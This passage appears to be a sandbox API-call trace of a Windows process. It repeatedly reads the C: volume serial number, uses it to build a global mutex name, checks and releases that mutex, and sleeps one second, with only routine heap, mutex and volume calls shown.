[0229.615] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x374 [0229.615] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x0 [0229.616] GetProcessHeap () returned 0xc10000 [0229.616] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4b58 | out: hHeap=0xc10000) returned 1 [0229.616] GetProcessHeap () returned 0xc10000 [0229.616] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2bc8 | out: hHeap=0xc10000) returned 1 [0229.616] ReleaseMutex (hMutex=0x374) returned 1 [0229.616] CloseHandle (hObject=0x374) returned 1 [0229.616] Sleep (dwMilliseconds=0x3e8) [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ec78 [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eef8 [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900b30 [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900b30 | out: hHeap=0xc10000) returned 1 [0230.928] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0230.928] GetProcessHeap () returned 0xc10000 [0230.928] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec78 | out: hHeap=0xc10000) returned 1 [0230.928] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0230.929] GetProcessHeap () returned 0xc10000 [0230.929] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0230.929] GetProcessHeap () returned 0xc10000 [0230.929] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4840 [0230.929] GetProcessHeap () returned 0xc10000 [0230.929] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0230.929] GetProcessHeap () returned 0xc10000 [0230.929] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0x33d2cc8 [0230.929] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0230.929] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x37c [0230.929] WaitForSingleObject (hHandle=0x37c, dwMilliseconds=0x0) returned 0x0 [0230.929] GetProcessHeap () returned 0xc10000 [0230.929] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4840 | out: hHeap=0xc10000) returned 1 [0230.929] GetProcessHeap () returned 0xc10000 [0230.929] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2cc8 | out: hHeap=0xc10000) returned 1 [0230.929] ReleaseMutex (hMutex=0x37c) returned 1 [0230.929] CloseHandle (hObject=0x37c) returned 1 [0230.930] Sleep (dwMilliseconds=0x3e8) [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eb38 [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ebd8 [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900080 [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900080 | out: hHeap=0xc10000) returned 1 [0232.368] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0232.368] GetProcessHeap () returned 0xc10000 [0232.368] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0232.368] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0232.369] GetProcessHeap () returned 0xc10000 [0232.369] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0232.369] GetProcessHeap () returned 0xc10000 [0232.369] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0232.369] GetProcessHeap () returned 0xc10000 [0232.369] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4c30 [0232.369] GetProcessHeap () returned 0xc10000 [0232.369] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4c30, Size=0x72) returned 0x33d26c8 [0232.369] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0232.369] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x358 [0232.369] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x0 [0232.370] GetProcessHeap () returned 0xc10000 [0232.370] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0232.370] GetProcessHeap () returned 0xc10000 [0232.370] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d26c8 | out: hHeap=0xc10000) returned 1 [0232.370] ReleaseMutex (hMutex=0x358) returned 1 [0232.370] CloseHandle (hObject=0x358) returned 1 [0232.370] Sleep (dwMilliseconds=0x3e8) [0233.552] GetProcessHeap () returned 0xc10000 [0233.552] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ed68 [0233.553] GetProcessHeap () returned 0xc10000 [0233.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb88 [0233.553] GetProcessHeap () returned 0xc10000 [0233.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ee30 [0233.553] GetProcessHeap () returned 0xc10000 [0233.553] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900248 [0233.553] GetProcessHeap () returned 0xc10000 [0233.553] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900248 | out: hHeap=0xc10000) returned 1 [0233.553] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb88, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0233.553] GetProcessHeap () returned 0xc10000 [0233.553] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ee30 | out: hHeap=0xc10000) returned 1 [0233.553] GetProcessHeap () returned 0xc10000 [0233.553] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0233.553] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0233.554] GetProcessHeap () returned 0xc10000 [0233.554] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb88 | out: hHeap=0xc10000) returned 1 [0233.554] GetProcessHeap () returned 0xc10000 [0233.554] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0233.554] GetProcessHeap () returned 0xc10000 [0233.554] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4960 [0233.554] GetProcessHeap () returned 0xc10000 [0233.554] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4960, Size=0x72) returned 0x33d22c8 [0233.554] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0233.555] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x348 [0233.555] WaitForSingleObject (hHandle=0x348, dwMilliseconds=0x0) returned 0x0 [0233.555] GetProcessHeap () returned 0xc10000 [0233.555] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0233.555] GetProcessHeap () returned 0xc10000 [0233.555] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d22c8 | out: hHeap=0xc10000) returned 1 [0233.555] ReleaseMutex (hMutex=0x348) returned 1 [0233.555] CloseHandle (hObject=0x348) returned 1 [0233.555] Sleep (dwMilliseconds=0x3e8) [0234.882] GetProcessHeap () returned 0xc10000 [0234.882] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ef48 [0234.882] GetProcessHeap () returned 0xc10000 [0234.882] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2eb38 [0234.883] GetProcessHeap () returned 0xc10000 [0234.883] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ede0 [0234.883] GetProcessHeap () returned 0xc10000 [0234.883] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900540 [0234.883] GetProcessHeap () returned 0xc10000 [0234.883] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900540 | out: hHeap=0xc10000) returned 1 [0234.883] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2eb38, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0234.883] GetProcessHeap () returned 0xc10000 [0234.883] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ede0 | out: hHeap=0xc10000) returned 1 [0234.883] GetProcessHeap () returned 0xc10000 [0234.883] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0234.883] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0234.883] GetProcessHeap () returned 0xc10000 [0234.884] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eb38 | out: hHeap=0xc10000) returned 1 [0234.884] GetProcessHeap () returned 0xc10000 [0234.884] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4c30 [0234.884] GetProcessHeap () returned 0xc10000 [0234.884] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca49a8 [0234.884] GetProcessHeap () returned 0xc10000 [0234.884] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca49a8, Size=0x72) returned 0x33d2cc8 [0234.884] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0234.884] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x384 [0234.884] WaitForSingleObject (hHandle=0x384, dwMilliseconds=0x0) returned 0x0 [0234.884] GetProcessHeap () returned 0xc10000 [0234.884] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4c30 | out: hHeap=0xc10000) returned 1 [0234.884] GetProcessHeap () returned 0xc10000 [0234.884] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2cc8 | out: hHeap=0xc10000) returned 1 [0234.884] ReleaseMutex (hMutex=0x384) returned 1 [0234.884] CloseHandle (hObject=0x384) returned 1 [0234.884] Sleep (dwMilliseconds=0x3e8) [0236.091] GetProcessHeap () returned 0xc10000 [0236.091] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eae8 [0236.091] GetProcessHeap () returned 0xc10000 [0236.091] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0236.091] GetProcessHeap () returned 0xc10000 [0236.091] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ec28 [0236.091] GetProcessHeap () returned 0xc10000 [0236.091] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900410 [0236.091] GetProcessHeap () returned 0xc10000 [0236.091] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900410 | out: hHeap=0xc10000) returned 1 [0236.091] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0236.091] GetProcessHeap () returned 0xc10000 [0236.091] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ec28 | out: hHeap=0xc10000) returned 1 [0236.092] GetProcessHeap () returned 0xc10000 [0236.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0236.092] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0236.092] GetProcessHeap () returned 0xc10000 [0236.092] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0236.092] GetProcessHeap () returned 0xc10000 [0236.092] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4ac8 [0236.092] GetProcessHeap () returned 0xc10000 [0236.092] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4ba0 [0236.092] GetProcessHeap () returned 0xc10000 [0236.092] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4ba0, Size=0x72) returned 0x33d21c8 [0236.093] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0236.093] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x374 [0236.093] WaitForSingleObject (hHandle=0x374, dwMilliseconds=0x0) returned 0x0 [0236.093] GetProcessHeap () returned 0xc10000 [0236.093] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4ac8 | out: hHeap=0xc10000) returned 1 [0236.093] GetProcessHeap () returned 0xc10000 [0236.093] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d21c8 | out: hHeap=0xc10000) returned 1 [0236.093] ReleaseMutex (hMutex=0x374) returned 1 [0236.093] CloseHandle (hObject=0x374) returned 1 [0236.093] Sleep (dwMilliseconds=0x3e8) [0237.449] GetProcessHeap () returned 0xc10000 [0237.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eef8 [0237.450] GetProcessHeap () returned 0xc10000 [0237.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ebd8 [0237.450] GetProcessHeap () returned 0xc10000 [0237.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eae8 [0237.450] GetProcessHeap () returned 0xc10000 [0237.450] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900a98 [0237.450] GetProcessHeap () returned 0xc10000 [0237.450] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900a98 | out: hHeap=0xc10000) returned 1 [0237.451] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ebd8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0237.451] GetProcessHeap () returned 0xc10000 [0237.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0237.451] GetProcessHeap () returned 0xc10000 [0237.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0237.451] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0237.451] GetProcessHeap () returned 0xc10000 [0237.451] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0237.451] GetProcessHeap () returned 0xc10000 [0237.459] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0237.459] GetProcessHeap () returned 0xc10000 [0237.460] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4b10 [0237.460] GetProcessHeap () returned 0xc10000 [0237.460] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4b10, Size=0x72) returned 0x33d2ec8 [0237.460] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0237.460] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x380 [0237.460] WaitForSingleObject (hHandle=0x380, dwMilliseconds=0x0) returned 0x0 [0237.460] GetProcessHeap () returned 0xc10000 [0237.460] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0237.461] GetProcessHeap () returned 0xc10000 [0237.461] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2ec8 | out: hHeap=0xc10000) returned 1 [0237.461] ReleaseMutex (hMutex=0x380) returned 1 [0237.461] CloseHandle (hObject=0x380) returned 1 [0237.461] Sleep (dwMilliseconds=0x3e8) [0238.603] GetProcessHeap () returned 0xc10000 [0238.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2eef8 [0238.603] GetProcessHeap () returned 0xc10000 [0238.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ede0 [0238.603] GetProcessHeap () returned 0xc10000 [0238.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2eae8 [0238.603] GetProcessHeap () returned 0xc10000 [0238.603] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39008d0 [0238.603] GetProcessHeap () returned 0xc10000 [0238.603] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39008d0 | out: hHeap=0xc10000) returned 1 [0238.603] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ede0, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0238.604] GetProcessHeap () returned 0xc10000 [0238.604] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eae8 | out: hHeap=0xc10000) returned 1 [0238.604] GetProcessHeap () returned 0xc10000 [0238.604] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2eef8 | out: hHeap=0xc10000) returned 1 [0238.604] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0238.605] GetProcessHeap () returned 0xc10000 [0238.605] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ede0 | out: hHeap=0xc10000) returned 1 [0238.605] GetProcessHeap () returned 0xc10000 [0238.605] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca4720 [0238.605] GetProcessHeap () returned 0xc10000 [0238.605] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca48d0 [0238.605] GetProcessHeap () returned 0xc10000 [0238.605] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca48d0, Size=0x72) returned 0x33d28c8 [0238.605] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0238.605] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x354 [0238.605] WaitForSingleObject (hHandle=0x354, dwMilliseconds=0x0) returned 0x0 [0238.605] GetProcessHeap () returned 0xc10000 [0238.605] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca4720 | out: hHeap=0xc10000) returned 1 [0238.605] GetProcessHeap () returned 0xc10000 [0238.605] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d28c8 | out: hHeap=0xc10000) returned 1 [0238.605] ReleaseMutex (hMutex=0x354) returned 1 [0238.605] CloseHandle (hObject=0x354) returned 1 [0238.606] Sleep (dwMilliseconds=0x3e8) [0240.307] GetProcessHeap () returned 0xc10000 [0240.307] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2ef48 [0240.307] GetProcessHeap () returned 0xc10000 [0240.307] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ed68 [0240.307] GetProcessHeap () returned 0xc10000 [0240.308] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ed90 [0240.308] GetProcessHeap () returned 0xc10000 [0240.308] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x3900968 [0240.308] GetProcessHeap () returned 0xc10000 [0240.308] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3900968 | out: hHeap=0xc10000) returned 1 [0240.308] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ed68, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0240.308] GetProcessHeap () returned 0xc10000 [0240.308] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed90 | out: hHeap=0xc10000) returned 1 [0240.308] GetProcessHeap () returned 0xc10000 [0240.308] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ef48 | out: hHeap=0xc10000) returned 1 [0240.308] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0240.309] GetProcessHeap () returned 0xc10000 [0240.309] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ed68 | out: hHeap=0xc10000) returned 1 [0240.309] GetProcessHeap () returned 0xc10000 [0240.309] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) returned 0xca49a8 [0240.309] GetProcessHeap () returned 0xc10000 [0240.309] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x3a) returned 0xca4720 [0240.309] GetProcessHeap () returned 0xc10000 [0240.309] RtlReAllocateHeap (Heap=0xc10000, Flags=0x0, Ptr=0xca4720, Size=0x72) returned 0x33d2ec8 [0240.311] OpenMutexW (dwDesiredAccess=0x100000, bInheritHandle=0, lpName="Global\\<>B419773000000001") returned 0x0 [0240.311] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\<>B419773000000001") returned 0x358 [0240.311] WaitForSingleObject (hHandle=0x358, dwMilliseconds=0x0) returned 0x0 [0240.311] GetProcessHeap () returned 0xc10000 [0240.311] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xca49a8 | out: hHeap=0xc10000) returned 1 [0240.311] GetProcessHeap () returned 0xc10000 [0240.311] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2ec8 | out: hHeap=0xc10000) returned 1 [0240.311] ReleaseMutex (hMutex=0x358) returned 1 [0240.311] CloseHandle (hObject=0x358) returned 1 [0240.312] Sleep (dwMilliseconds=0x3e8) [0241.702] GetProcessHeap () returned 0xc10000 [0241.702] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x20) returned 0xc2f0d8 [0241.703] GetProcessHeap () returned 0xc10000 [0241.703] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x8, Size=0x1e) returned 0xc2ebd8 [0241.703] GetProcessHeap () returned 0xc10000 [0241.703] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x1e) returned 0xc2ea98 [0241.703] GetProcessHeap () returned 0xc10000 [0241.703] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x90) returned 0x39001b0 [0241.703] GetProcessHeap () returned 0xc10000 [0241.703] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39001b0 | out: hHeap=0xc10000) returned 1 [0241.703] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xc2ebd8, nSize=0xf | out: lpDst="C:\\") returned 0x4 [0241.704] GetProcessHeap () returned 0xc10000 [0241.704] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ea98 | out: hHeap=0xc10000) returned 1 [0241.704] GetProcessHeap () returned 0xc10000 [0241.704] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2f0d8 | out: hHeap=0xc10000) returned 1 [0241.704] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x279fe34, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x279fe34*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0241.705] GetProcessHeap () returned 0xc10000 [0241.705] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0xc2ebd8 | out: hHeap=0xc10000) returned 1 [0241.705] GetProcessHeap () returned 0xc10000 [0241.705] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x40) 